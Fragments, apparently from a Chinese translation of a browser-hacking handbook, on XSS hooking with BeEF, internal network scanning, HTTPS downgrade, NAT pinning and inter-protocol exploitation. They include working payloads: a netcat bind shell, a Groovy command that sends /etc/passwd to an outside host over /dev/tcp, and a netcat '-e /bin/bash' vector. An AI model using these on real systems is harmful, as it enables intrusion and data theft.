    {"text": "在Liverani的研究中，他暴力破解了传给这个函数第一个参数的一些整数值，发现向 AFRunCommand() 传入60003和一个JSON对象，就可以取得完整的浏览器历史记录。"},
    {"text": "如果你欺骗目标用户打开类似如下的链接，那么恶意注入的代码就会被持久存入历史页面： 47 Roberto Suggi Liverani. (2012). Maxthon--Cross Context Scripting (XCS)--about:history--Remote Code Execution . Retrieved May 11, 2013 from http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html http://172.16.37.1/malicious.html#\" onload='alert(1)'<!- 每次目标打开浏览器历史记录时，都将执行上面包含了 onload 属性的代码。"},
    {"text": "比如，下面的代码会解析history-list区域中的所有链接： links = document.getElementById('history-list') .getElementsByTagName('a'); result = \"\"; for(var i=0; i<links.length; i++) { if(links[i].target == \"_blank\"){ result += links[i].href+\"\\n\"; } } alert(result); 这些代码可以通过下面的链接打包和传递： http://172.16.37.1/malicious.html#\" onload='links=document. getElementById(\"history-list\").getElementsByTagName(\"a\"); result=\"\";for(i=0;i<links.length;i++){if(links[i].target==\"_blank\") {result+=links[i].href+\"\\n\";}}alert(result);'<!-- 重要的是，这种跨内容脚本（第7章会深入讨论）漏洞是一直存在的。"},
    {"text": "假设要检测172.16.37.0/24这个子网中运行在80端口的Web应用，那可以使用如下代码： var protocol = \"http://\"; var port = 80; var c_subnet = \"172.16.37.0\"; // 以下代码返回172.16.37 var c = c_subnet.split( c_subnet.split('.')[3] )[0]; // 添加新的'b'元素，盛放后来添加的IFrame var dom = document.createElement('b'); document.body.appendChild(dom); // 加载IFrame，IFrame指向迭代的IP function check_host(url, id){ var iframe = document.createElement('iframe'); iframe.src = url; iframe.id = \"i_\" + id; iframe.style.visibility = \"hidden\"; iframe.style.display = \"none\"; iframe.style.width = \"0px\"; iframe.style.height = \"0px\"; iframe.onload = function(){ console.log('Internal webapp found: ' + this.src); } dom.appendChild(iframe); } // 通过类C的子网迭代 for(var i=1; i < 255; i++){ var host = c + i; check_host(protocol + host + \":\" + port, i); } // 如果IFrame的src不存在，则不会触发onerror事件，因此需要清理DOM setTimeout(function(){ for(var i=1; i < 255; i++){ var del = document.getElementById(\"i_\" + i); dom.removeChild(del); } }, 2000); 对于子网段172.16.37.0/24，前面的代码会迭代所有254个IP，为每个IP添加一个隐藏的内嵌框架。"},
    {"text": "在JavaScript控制台中运行这段代码，就可以发现使用了其中一个内部域名的Web应用： var protocol = \"http://\"; var port = 80; // 一般的内部主机名 var hostnames = new Array(\"about\", \"accounts\", \"admin\", \"administrator\", \"ads\", \"adserver\", \"adsl\", \"agent\", \"blog\", \"channel\", \"client\", \"dev\", \"dev1\", \"dev2\", \"dev3\", \"dev4\", \"dev5\", \"dmz\", \"dns\", \"dns0\", \"dns1\", \"dns2\", \"dns3\", \"extern\", \"extranet\", \"file\", \"forum\", \"forums\", \"ftp\", \"ftpserver\", \"host\", \"http\", \"https\", \"ida\", \"ids\", \"imail\", \"imap\", \"imap3\", \"imap4\", \"install\", \"intern\", \"internal\", \"intranet\", \"irc\", \"linux\", \"log\", \"mail\", \"map\", \"member\", \"members\", \"name\", \"nc\", \"ns\", \"ntp\", \"ntserver\", \"office\", \"owa\", \"phone\", \"pop\", \"ppp1\", \"pptp\", \"print\", \"printer\", \"project\", \"pub\", \"public\", \"preprod\", \"root\", \"route\", \"router\", \"server\", \"smtp\", \"sql\", \"sqlserver\", \"ssh\", \"telnet\", \"time\", \"voip\", \"w\", \"webaccess\", \"webadmin\", \"webmail\", \"webserver\", \"website\", \"win\", \"windows\", \"ww\", \"www\", \"wwww\", \"xml\"); // 添加新的'b'元素，将保有附加的IFrame var dom = document.createElement('b'); document.body.appendChild(dom); // 加载隐藏的IFrame,指向当前迭代的主机名 function check_host(url, id){ var iframe = document.createElement('iframe'); iframe.src = url; iframe.id = \"i_\" + id; iframe.style.visibility = \"hidden\"; iframe.style.display = \"none\"; iframe.style.width = \"0px\"; iframe.style.height = \"0px\"; iframe.onload = function(){ console.log('Internal DNS found: ' + this.src); document.body.removeChild(this); }; dom.appendChild(iframe); } // 通过主机名数组迭代 for(var i=1; i < hostnames.length; i++){ check_host(protocol + hostnames[i] + \":\" + port, i); } // 如果IFrame的src不存在，则不会触发onerror事件，因此需要清理DOM setTimeout(function(){ for(var i=1; i < 255; i++){ var del = document.getElementById(\"i_\" + i); dom.removeChild(del); } }, 2000); 针对每个域名，都会向DOM中插入相应的内嵌框架。"},
    {"text": "前面两段代码经过修改，都可以支持其他URI协议，比如https://（不过https://通常在内网中更常见一些），以及支持其他端口，比如443、8080或8443。"},
    {"text": "17 Moxie Marlinspike. (2009). Moxie Marlinspike >> Software >> sslstrip . Retrieved August 12, 2013 from http://www.thoughtcrime.org/software/sslstrip/ 如图6-19所示，在截获网络通信并检测到数据后，可以把所有HTTPS重写为HTTP。"},
    {"text": "这个参数可能被XSS利用，把目标浏览器勾连到BeEF： require 'rubygems' require 'thin' require 'rack' require 'sinatra' require 'json' class InjectDemo < Sinatra::Base get \"/\" do lang = request['lang'] || \"en_US\"; \" <div align=center> To login, go to our secure login page at <A HREF='https://servervictim.com/login?lang=#{lang}'> https://servervictim.com/login</A> </div>\" end end @routes = { \"/\" => InjectDemo.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"servervictim.com\", 4000, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 通过操纵 lang 变量，可以注入BeEF勾连代码。"},
    {"text": "图 6-20 未经XSS的登录页面源 要实现BeEF勾连，需要写一段代码结束 <a> 标签、添加脚本，并确保链接仍然可以显示出来。 以下这个URL会把BeEF勾连代码注入页面： http://servervictim.com:4000/?lang='><script src=\"http://browserhacker.com:3000/hook.js\"></script> 浏览器被勾连到BeEF之后，可以把这个页面由HTTPS降级到HTTP。"},
    {"text": "敏感一些的用户可能会注意窗口左下角的链接显示为HTTP（如图6-22所示），而在查询源代码的时候，页面中依旧是HTTPS。 图 6-22 新页面在窗口左下角显示链接为HTTP 为了减小被发现的可能性，可以不重写 href 属性的内容，而是为相应的 <a> 元素添加 onclick 事件。 这样，在用户把鼠标放到链接上的时候，窗口左下角出现的就不是HTTP链接了。"},
    {"text": "18 Nick Arnott. (2013). iPhone Apps Accepting Self-Signed SSL Certificates | Neglected Potential . Retrieved August 12, 2013 from http://www.neglectedpotential.com/2013/01/sslol/ 19 M. Georgiev, R. Anubhai, S. Iyengar, D. Boneh, S. Jana, and V. Shmatikov. (2012). The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software . Retrieved December 1, 2013 from https://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf 据说最严重的证书验证漏洞是Moxie Marlinspike发现的空字符利用 20 。"},
    {"text": "20 Moxie Marlinspike. (2009). More Tricks For Defeating SSL In Practice . Retrieved August 12, 2013 from http://www.blackhat.com/presentations/bh-usa-09/ARLINSPIKE/BHUSA09-Marlinspike-DefeatSSL-SLIDES.pdf 当检查字符串的函数查找数据时，数据中的空字符通常会被当作字符串的终结符。"},
    {"text": "通过使用名称www.google.com\\0.browserhacker.com来创建证书，注册机构将会把它当作browserhacker.com的一部分，并知道该域的拥有者可以请求该域的证书。"},
    {"text": "6.3.3 攻击SSL/TLS层 SSL（Secure Socket Layer，安全套接字层）及其继承者TLS（Transport Layer Security，传输层安全），都是用于安全上网的加密协议。"},
    {"text": "21 Packet Storm. (Unknown Year). Download: Browser Exploit Against SSL/TLS ≈ Packet Storm . Retrieved August 12, 2013 from http://packetstormsecurity.com/files/download/105499/Beast-SSL.rar 22 Dan Goodin. (2013). Two new attacks on SSL decrypt authentication cookies | ars technica . Retrieved August 12, 2013 from http://arstechnica.com/security/2013/03/new-attacks-on-ssl-decrypt-authentication-cookies/ BEAST攻击是第一个引人注目的SSL攻击，利用了CBC（Cipher Block Chaining，密码分组链接）加密模式的漏洞。"},
    {"text": "Unknown 第 4 章 绕过同源策略 SOP，即同源策略，恐怕是Web领域中最重要的安全机制了。可惜不同浏览器对它的实现有很大的差异。如果SOP不起作用，或者说被绕过去了，那么万维网的核心安全机制就失效了。 SOP的意图是限制不相关的源之间通信。换句话说，如果http://browserhacker.com想访问http://browservictim.com中的信息，SOP是不允许的。当然，根据你使用了什么浏览器，或者使用了什么浏览器插件，这个问题也并非总是如此简单。 本章就来分析各种绕过SOP的技术。SOP是浏览器安全的关键，因此也许当你读到这些技术时，这些漏洞可能已经被补上了。同样，研究也不会止步，也很难说不会有新的技术在改进原有技术的基础上出现。 在使用绕过SOP技术时，经常可能会把被勾连的浏览器作为HTTP代理，通过它访问其他目标。没错，听起来有点怪异，但看完本章你就知道这是可能的了。"},
    {"text": "20 Sami Kamkar. (2010). NATpin . Retrieved October 29, 2013 from http://samy.pl/natpin/ 使用之前讨论过的侦察技术，假设我们掌握了如下信息。"},
    {"text": "网关：192.168.0.1 勾连浏览器的内部IP：192.168.0.2 在80端口提供HTTP服务的系统IP：192.168.0.4 在22端口提供SSH服务的系统IP：192.168.0.4 我们知道，端口封禁机制会阻止直接连接22端口。"},
    {"text": "21 Van Hauser and David Maciejak. (2013). THC Hydra . Retrieved October 29, 2013 from http://www.thc.org/thc-hydra/ 这种攻击的一个先决条件，就是路由器必须支持连接跟踪以实现NAT穿越，而且路由器应该允许出站流量。"},
    {"text": "22 FDS Team. (2013). Security vulnerability: Routers acting as proxy when sending fake IRC messages . Retrieved October 29, 2013 from http://fds-team.de/cms/articles/2013-06/security-vulnerability-routers-acting-as-proxy-when-sending-fake.html 假设你想利用的路由器在iptables中有如下针对防火墙的配置： # DEF OUTIF=eth0 LANIF=eth1 LAN=192.168.0.0/24 # MODULE modprobe ip_conntrack modprobe ip_conntrack_ftp modprobe iptable_nat # 清理 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain # 内核变量 echo 1 > /proc/sys/net/ipv4/ip_forward # 不限流量 iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # 默认策略 iptables --policy INPUT DROP iptables --policy OUTPUT DROP iptables --policy FORWARD DROP # 之前初始化和接受的 # 绕过规则检查 # 不限出站流量 iptables -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 放开LAN的入站流量 iptables -A INPUT -i $LANIF -j ACCEPT # NAT ########## iptables -t nat -A POSTROUTING -o $OUTIF -j MASQUERADE # 初始化和接受的WAN到LAN通信 iptables --append FORWARD -m state --state ESTABLISHED,RELATED -i $OUTIF -o $LANIF -j ACCEPT # 不限LAN到WAN的出站通信 iptables --append FORWARD -m state --state NEW,ESTABLISHED,RELATED -o $OUTIF -i $LANIF -j ACCEPT iptables -A INPUT -j LOG --log-level debug iptables -A INPUT -j DROP iptables -A FORWARD -j LOG --log-level debug iptables -A FORWARD -j DROP 以上防火墙和NAT配置符合实现NAT Pinning的要求。"},
    {"text": "以下JavaScript代码演示了如何发起这个攻击： var privateip = '192.168.0.70'; var privateport = '22'; var connectto = 'browserhacker.com'; function dot2dec(dot){ var d = dot.split('.'); return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]); } var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement(\"form\"); var action = \"http://\" + connectto + \":6667/\" myForm.setAttribute(\"name\", \"data\"); myForm.setAttribute(\"method\", \"post\"); myForm.setAttribute(\"enctype\", \"multipart/form-data\"); myForm.setAttribute(\"action\", action); //创建DCC消息 x = String.fromCharCode(1); var message = 'PRIVMSG beef :'+x+'DCC CHAT beef '+ dot2dec(privateip)+' '+privateport+x+\"\\n\"; //创建消息文本区域 var myExt = document.createElement(\"textarea\"); myExt.setAttribute(\"id\",\"msg_1\"); myExt.setAttribute(\"name\",\"msg_1\"); myForm.appendChild(myExt); myIframe.contentWindow.document.body.appendChild(myForm); //发送消息 myIframe.contentWindow.document.getElementById( \"msg_1\").value = message; myForm.submit(); 执行这段JavaScript代码后，浏览器会连接http://browserhacker.com:6667/。"},
    {"text": "23 Wikipedia. (2013). Direct Client-to-Client . Retrieved October 29, 2013 from http://en.wikipedia.org/wiki/Direct_Client-to-Client 这里的关键在于，当路由器的防火墙发现外出流量并读取IRC数据时，它会认为用户在请求一个DCC连接。"},
    {"text": "相关的代码片段如下： 24 Harald Welte and Patrick McHardy . (2013). IRC extension for IP connection tracking . Retrieved October 29, 2013 from https://github.com/torvalds/linux/blob/master/net/netfilter/nf_conntrack_irc.c /* dcc_ip can be the internal OR external (NAT'ed) IP */ tuple = &ct->tuplehash[dir].tuple; if (tuple->src.u3.ip != dcc_ip && tuple->dst.u3.ip != dcc_ip) { net_warn_ratelimited( \"Forged DCC command from %pI4: %pI4:%u\\n\", &tuple->src.u3.ip, &dcc_ip, dcc_port); continue; } 以上代码并没有按照注释中描述的那样行事，注释的意思是DCC IP可以是内部或外部NAT之后的IP地址。"},
    {"text": "25 Regit. (2013). Open SVP . Retrieved October 29, 2013 from https://home.regit.org/software/opensvp/ NAT Pinning攻击很好地说明了如何创造性地利用内网浏览器的请求，去影响更多的外部系统。"},
    {"text": "26 Wade Alcorn. (2006). Inter-Protocol Communication . Retrieved October 29, 2013 from http://www.bindshell.net/papers/ipc.html 多数情况下，IPC是否成功更多地取决于开发者的实现方式，而非协议规范本身。"},
    {"text": "为了实现两个不同协议间的通信，必须满足以下两个条件： 目标协议实现中的容错 将目标协议数据封装到HTTP请求中的能力 在浏览器中，这通常意味着将一个HTTP请求发送到不使用HTTP协议的监听服务。"},
    {"text": "如果发送下面的（非协议）数据，并且连接依然保持活动，就说明该协议的实现有利用价值： ADD foobar 因为与客户端的连接没有被重置，所以客户端可以继续使用原来的TCP连接发送数据。"},
    {"text": "因此，如果客户端发送以下数据，那么错误的前两行会被丢弃，而第三行可能会被解析并成功执行： ADD foo ADD bar WRITE browserhacker.com /opt/protocol/browserhacker 然后，浏览器IPC就可以在此基础上扩展，把整条消息封装到一个HTTP POST请求里。 下面这个例子展示了一个请求，它可能会在目标服务上执行一条命令： POST / HTTP/1.1 Host: 192.168.1.130:4444 User-Agent: Mozilla/5.0 Content-type: text/plain Content-Length: 51 WRITE browserhacker.com /opt/protocol/browserhacker 这个HTTP请求的首部，连同CRLF（回车换行），都会被丢弃，而请求的最后一行则会被协议正确处理。"},
    {"text": "而如果使用 text/plain 或 multipart/form-data ，那么在请求体里使用什么格式就完全看你自己了，比如可以添加 CR/LF 行和空格。 有两种方式可以跨域发送 text/plain 或 multipart/form-data 请求。"},
    {"text": "BeEF的JavaScript API中有一个 createIframeIpecForm() 函数，可以帮你完成这件事： createIframeIpecForm: function(rhost, rport, path, commands){ // 创建不可见内嵌框架 // HTML表单会放在这里 var iframeIpec = beef.dom.createInvisibleIframe(); // 创建HTML表单，注意enctype属性 var formIpec = document.createElement('form'); formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path); formIpec.setAttribute('method', 'POST'); formIpec.setAttribute('enctype', 'multipart/form-data'); // 创建文本区 // 将POST主体添加到文本区 input = document.createElement('textarea'); input.setAttribute('name', Math.random().toString(36).substring(5)); input.value = commands; formIpec.appendChild(input); iframeIpec.contentWindow.document.body.appendChild(formIpec); formIpec.submit(); return iframeIpec; } 可以像下面这样调用该方法： beef.dom.createIframeIpecForm(host, port, path, commands); 注意，多数情况下都不需要 path 参数，而 commands 参数中就是你想通过POST请求体发送的数据。"},
    {"text": "下面的代码就是这样一个例子： var xhr = new XMLHttpRequest(); var uri = \"http://\" + host + \":\" + port + \"/\"; xhr.open(\"POST\", uri, true); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(command + \"\\r\\n\"); 变量 command 中包含着你想发送到协议的数据，后面紧跟一个回车和换行符： \\r\\n 。"},
    {"text": "它只要检测到非SMTP命令，就会立即断开与客户端的连接： Aug 10 06:38:17 bt postfix/smtpd[3179]: connect from browservictim.com[172.16.37.1] Aug 10 06:38:17 bt postfix/smtpd[3179]: warning: non-SMTP command from browservictim.com [172.16.37.1]: POST / HTTP/1.1 Aug 10 06:38:17 bt postfix/smtpd[3179]: disconnect from browservictim.com[172.16.37.1] 虽然这些SMTP服务都达不到容错条件，但一些IMAP服务倒是可以。"},
    {"text": "if (!XMLHttpRequest.prototype.sendAsBinary) { XMLHttpRequest.prototype.sendAsBinary = function (sData) { var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); for (var nIdx = 0; nIdx < nBytes; nIdx++) { ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; } /* 视为ArrayBufferView...发送: */ this.send(ui8Data); }; } 在写这本书时，其他浏览器还没有这个功能。"},
    {"text": "不过，只要支持 类型数组 （typed array） 27 ，就可以在相应浏览器中重写 sendAsBinary() 的原型，实现类似功能，比如在Chrome和Safari等基于WebKit的浏览器都可以 28 。"},
    {"text": "27 Mozilla. (2013). JavaScript Typed Arrays . Retrieved October 29, 2013 from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays 28 Chromium Bugtracker. (2010). Issue 35705: Extend XmlHttpRequest with getAsBinary() and sendAsBinary() methods . Retrieved October 29, 2013 from https://code.google.com/p/chromium/issues/detail?id=35705 3. 协议间通信的例子 接下来将看几个例子，说明怎么利用不同的协议来实现IPC，以及进一步实现IPE的可能性。"},
    {"text": "执行下面的代码，可以在POSIX系统中设置Netcat绑定shell： nc -lvp 7777 -e /bin/sh 这个命令在7777端口上设置了监听服务，负责把接收的数据发送到 /bin/sh 命令。"},
    {"text": "对于未知的命令，sh进程会直接给出 command not found ： #foobar foobar: command not found # 这个行为非常适合IPC，因为虽然HTTP首部会被丢弃，但其他有效的sh命令会被执行。"},
    {"text": "比如，要创建第一个响应头，可以发送以下数据： echo -e HTTP/1.1 200 OK\\\\\\\\r; 然后可以继续添加需要的其他响应首部，比如Content-type、Content-length，以及命令结果。"},
    {"text": "这里为了简单起见，只给出截取的一小段代码： [...] // 创建ipc_posix_window内嵌框架 var ipc_posix_window = document.createElement(\"iframe\"); [...] // 通过Hash标签与父框架沟通命令执行结果 body2 = \"__END_OF_POSIX_IPC__</div><s\"+\"cript>window.location='\" + parent + \"#ipc_result='+encodeURI(\" + \"document.getElementById(\\\\\\\"ipc_content\\\\\\\").innerHTML);</\" +\"script></body></html>\"; [...] // 返回ipc_content内容div，执行命令 // 并把命令结果返回给head -c SIZE \"echo \\\"\" + body1 + \"\\\";(\" + cmd + \")|head -c \"+size+\" ; \"); poster.appendChild(response); [...] // 等待<超时>秒数， // 以让IFrame url片段匹配 function wait() { try { if (/#ipc_result=/.test(document.getElementById(\"ipc_posix_window\").\\ contentWindow.location)) { var ipc_result = document.getElementById(\"ipc_posix_window\").\\ contentWindow.location.href; output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+ 12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC__')); [...] 这段代码创建了一个隐藏的内嵌框架ipc_posix_window，包含一个发送POST请求的HTML表单。"},
    {"text": "结果会被附加在URL片段标识符（ # ）的 ipc_result 后面，类似如下所示： http://browserhacker.com/#ipc_result=%0Atcp%20%20%20%20 %20%20%20%200%20%20%20%20%20%200%20127.0.0.1:7337%20%20 %20%20%20%20%20%20%20%200.0.0.0:*%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20LISTEN%20%20%20%20%20%201545 [...snip...] __END_OF_POSIX_IPC__ 追加到内嵌框架中的HTML表单包含两个输入字段： response 和 endTalkBack 。"},
    {"text": "第二个 endTalkBack 输入字段包含分隔符 __END_OF_POSIX_IPC__ ，命令结果的 ipc_contentdiv ，以及用于将内嵌框架地址修改为父元素地址的一小段脚本。"},
    {"text": "父元素地址就是执行当前JavaScript代码的页面地址： body2 = \"__END_OF_POSIX_IPC__</div><s\"+\"cript>window.location='\" + parent + \"#ipc_result='+encodeURI(\" + \"document.getElementById(\\\\\\\"ipc_content\\\\\\\").innerHTML);</\" +\"script></body></html>\"; 图10-13展示了这个POST请求的原始主体，从中可以看到这两个输入字段以及它们的值。"},
    {"text": "重用BeEF中的JavaScript API createIframeIpecForm ，可以通过如下代码加入频道，并向IRC服务器发送消息： var rhost = 'irc_server'; var rport = '6667'; var nick = 'user1234'; var channel = '#channel_1'; var message = 'BeEFed'; var irc_commands = \"NICK \" + nick + \"\\n\"; irc_commands += \"USER \" + nick + \" 8 * : \" + nick + \" user\\n\"; irc_commands += \"JOIN \" + channel + \"\\n\"; irc_commands += \"PRIVMSG \" + channel + \" :\" + message + \"\\nQUIT\\n\"; // 发送命令 var irc_iframe = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", irc_commands); // 清除 cleanup = function() { document.body.removeChild(irc_iframe); } setTimeout(\"cleanup()\", 15000); 2010年的时候，不少IRC提供商，像EFnet、OFTC和FreeNode，都受到过持续攻击 29 。"},
    {"text": "29 Dan Goodin. (2010). Firefox inter-protocol attack . Retrieved October 29, 2013 from http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/ 30 Freenode blog. (2013). JavaScript spam . Retrieved October 29, 2013 from http://blog.freenode.net/2010/01/javascript-spam/ (3) 打印服务IPC的例子 HP、Canon等多功能网络打印机都会运行很多服务，其中通常包括对TCP/IP协议栈的完整实现。"},
    {"text": "31 Deral Heiland. (2011). From printer to pwnd . Retrieved October 29, 2013 from http://foofus.net/goons/percx/defcon/P2PWND.pdf Aaron Weaver在2007年发表了一篇题为“Cross-site Printing”的论文，演示了如何在浏览器中向网络打印机发送打印作业 32 。"},
    {"text": "32 Aaron Weaver. (2007). Cross site printing . Retrieved October 29, 2013 from http://www.net-security.org/dl/articles/CrossSitePrinting.pdf 33 HP Support Center. (2013). HP Jetdirect Print Servers . Retrieved October 29, 2013 from http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?prodSeriesId=308316&objectID=c00048636 图 10-16 nmap打印机扫描 这个接口非常基础，只要求你打开一个指向打印机端口的TCP连接，然后写入文本即可。"},
    {"text": "通过Netcat可以非常简单地做到： $ nc 10.90.1.131 9100 Hi from BeEF! ^C 这个协议也是实施IPC的不错目标，因为并没有什么阻止你使用HTTP的POST请求，向打印机端口发送类似的数据。"},
    {"text": "以下代码可以用于向打印机发送“Hi from BeEF!”消息： var body = \"Hi from BeEF!\\n\"; var ip = \"10.90.1.131\"; var port = 9100; var xhr = new XMLHttpRequest(); xhr.open(\"POST\", \"http://\" + ip + \":\" + port + \"/\",false); xhr.setRequestHeader(\"Content-Type\", \"text/plain\"); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); xhr.send(body); 无需认证，可以使用IPC。"},
    {"text": "以下代码演示了如何使用PostScript，而且这段代码可以通过修改 body 变量，与使用之前的JavaScript代码一起使用： 34 Adobe. (1999). PostScript language reference . Retrieved October 29, 2013 from http://partners.adobe.com/public/developer/en/ps/PLRM.pdf var body = String.fromCharCode(27) + \"%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\\r\\n\" + \"%!PS\\r\\n\" + \"/Courier findfont\\r\\n\" + \"20 scalefont\\r\\n\" + \"setfont\\r\\n\" + \"72 500 moveto\\r\\n\" + \"(Demonstrating IPC) show\\r\\n\" + \"showpage\\r\\n\" + String.fromCharCode(27) + \"%-12345X\"; 结果如图10-18所示，打印出来的内容“Demonstrating IPC”字体为Courier，位置为距左边72单位，距顶边500单位。"},
    {"text": "为了演示方便，在Firefox中可以通过添加以下代码到扩展文件pref.js，以重写端口封禁规则： pref(\"network.security.ports.banned.override\", \"143\"); 别忘了完事以后删除它。"},
    {"text": "下面的示例代码演示了登录和退出IMAP服务器的过程： var server = '172.16.37.151'; var port = '143'; var commands = 'a01 login root password\\na002 logout'; var target = \"http://\" + server + \":\" + port + \"/abc.html\"; var iframe = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); form.setAttribute('name', 'data'); form.setAttribute('action', target); form.setAttribute('method', 'post'); form.setAttribute('enctype', 'text/plain'); var input = document.createElement('input'); input.setAttribute('id', 'data1') input.setAttribute('name', 'data1') input.setAttribute('type', 'hidden'); input.setAttribute('value', commands); form.appendChild(input); iframe.contentWindow.document.body.appendChild(form); form.submit(); 这个例子中的IMAP服务器是Eudora，稍后我们会再用它来演示协议间利用。"},
    {"text": "2007年，Alcorn在一篇研究论文中表明 35 ，IPC技术不仅可以实现通信，还可以实现利用，也就是IPE（Inter-protocol Exploitation，协议间利用）。"},
    {"text": "35 Wade Alcorn. (2007). Inter-Protocol Exploitation . Retrieved October 29, 2013 from http://nccgroup.com/media/18511/inter-protocol_exploitation.pdf 36 Chris Anley, John Heasman, Felix Lindner, and Gerardo Richarte. (2007). The Shellcoder's Handbook, 2nd Edition . Retrieved October 29, 2013 from http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html 如果你能像上一节演示的那样，使用HTTP与非HTTP协议通信，那么也应该可以在发送的数据中包含Shellcode。"},
    {"text": "比如，假设有一个服务会查找如下命令： WRITE <content> <file_path> 假设处理 <file_path> 的代码存在缓冲区溢出漏洞，可能是因为使用 memcpy 复制内容，但并没有检查来源长度，而直接把内容放到了1024字节的缓冲区内。"},
    {"text": "以下代码负责计算首部的大小，之后把结果返回给勾连浏览器： # 确定跨源HTTP首部的确切大小 # 需要正确计算junk，避免出错 # 完成的URL是<BeEF_server>/api/ipec/junk/<socket_name> get '/junk/:name' do socket_name = params[:name] halt 401 if not BeEF::Filters.alphanums_only?(socket_name) socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler. \\ instance.get_socket_data(socket_name) halt 404 if socket_data == nil if socket_data.include?(\"\\r\\n\\r\\n\") result = Hash.new headers = socket_data.split(\"\\r\\n\\r\\n\").first BeEF::Core::NetworkStack::Handlers::AssetHandler. \\ instance.unbind_socket(socket_name) print_info \"[IPEC] Cross-origin XmlHttpRequest headers \\ size - received from bind socket [#{socket_name}]: \\ #{headers.size + 4} bytes.\" # CRLF -> 4 B result['size'] = headers.size + 4 headers.split(\"\\r\\n\").each do |line| if line.include?(\"Host\") result['host'] = line.size + 2 end if line.include?(\"Content-Type\") result['contenttype'] = line.size + 2 end if line.include?(\"Referer\") result['referer'] = line.size + 2 end end result.to_json else print_error \"[IPEC] Looks like there is no CRLF \\ in the data received!\" halt 404 end end 拿到这些信息之后，就可以放心地动态计算NOP的数量（或其他额外垃圾的大小），再通过勾连浏览器把利用payload发送到目标服务。"},
    {"text": "Rodrigo Marcos和SecForce团队扩展了他们的研究，在不需要事先计算HTTP首部长度的前提下，成功利用了认证后漏洞 38 ： 37 Ty Miller and Michele Orrù. (2012). Exploiting internal network vulns via the browser using BeEF Bind . Retrieved October 29, 2013 from http://2012.ruxcon.org.au/speakers/#Ty%20Miller%20&%20Michele%20Orru 38 SecForce. (2013). Inter-Protocol Communication-Exploitation . Retrieved October 29, 2013 from http://www.secforce.com/blog/tag/inter-protocol-exploitation/ var auth = 'USER anonymous\\r\\nPASS anonymous\\r\\n'; var payload = 'MKD \\x89[…shellcode…]'; var body = auth + payload; 他们把对EasyFTP Server的一个利用，移植到在HTTP的POST请求体内提交的IPE。"},
    {"text": "39 Denis Bazhenov. (2013). Groovy Shell server . Retrieved October 29, 2013 from https://github.com/bazhenov/groovy-shell-server 在这个例子中，RCE利用要比更复杂的溢出简单，因为不需要关注内存分配或Shellcode。"},
    {"text": "其实就是一个把Groovy代码封装到HTTP的POST请求中的问题，如下所示： var rhost = '192.168.0.100'; // Targeted host var rport = '6789'; // Targeted port // 多数Linux发布版(Debian、Ubuntu，等等)都支持/dev/tcp var cmd = 'cat /etc/passwd >/dev/tcp/browserhacker.com/8888'; // 使用Groovy的\"command\".execute()方法创建最终内容 var payload = \"\\r\\ndiscard\\r\\nprintln '\" + cmd + \"'.execute().text\\r\\ngo\\r\\nexit\\r\\n\"; // 发送POST请求 beef.dom.createIframeIpecForm(rhost, rport, \"/\", payload); 通过其中的payload变量值可以看出，命令 cmd 会像Java执行系统命令一样被执行。 在Java中，我们需要执行： String cmd = \"uname -ra\"; Runtime.getRuntime().exec(cmd); 虽然Groovy语言的语法稍微能简化一点，但执行相同的任务的代码还是挺像的： def cmd = \"uname -ra\" cmd.execute() 如果被利用的服务器运行在Linux操作系统上，而且该系统配置了/dev/tcp设备，那就可以把/etc/passwd的内容抽取到browserhacker.com:8888。"},
    {"text": "40 Brendan Coles. (2011). EXTRACT Inter-Protocol exploitation . Retrieved October 29, 2013 from http://itsecurit-ysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/ 与前面的Groovy Shell利用不同，EXTRACT稍微狡猾一点。"},
    {"text": "有经验的渗透测试人员可能熟悉下面这个不包含任何空格的攻击向量： {netcat,-l,-p,1337,-e,/bin/bash} 这个向量使用了Linux系统Bash终端里的 Bracket Expansion功能 41 。"},
    {"text": "41 GNU. (2013). Bash Brace Expansion . Retrieved October 29, 2013 from https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html 最终针对EXTRACT 0.5.1服务的攻击向量如下： var cmd = \"{netcat,-l,-p,1337,-e,/bin/bash}\"; var payload = 'createuser '+cmd+'&>/dev/null; echo;\\r\\nquit\\r\\n'; beef.dom.createIframeIpecForm(host, port, \"/index.html\", payload); 如果命令如期执行，那么应该可以通过Netcat连接到目标主机的1337端口，并取得终端控制权。"},
    {"text": "42 Tim Shelton. (2005). Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability . Retrieved October 29, 2013 from http://www.securityfocus.com/bid/15980/info 图 10-20 位于进程内存中的HTTP首部 要成功利用该服务，需要知道浏览器发送的HTTP首部组合起来的数据长度。"},
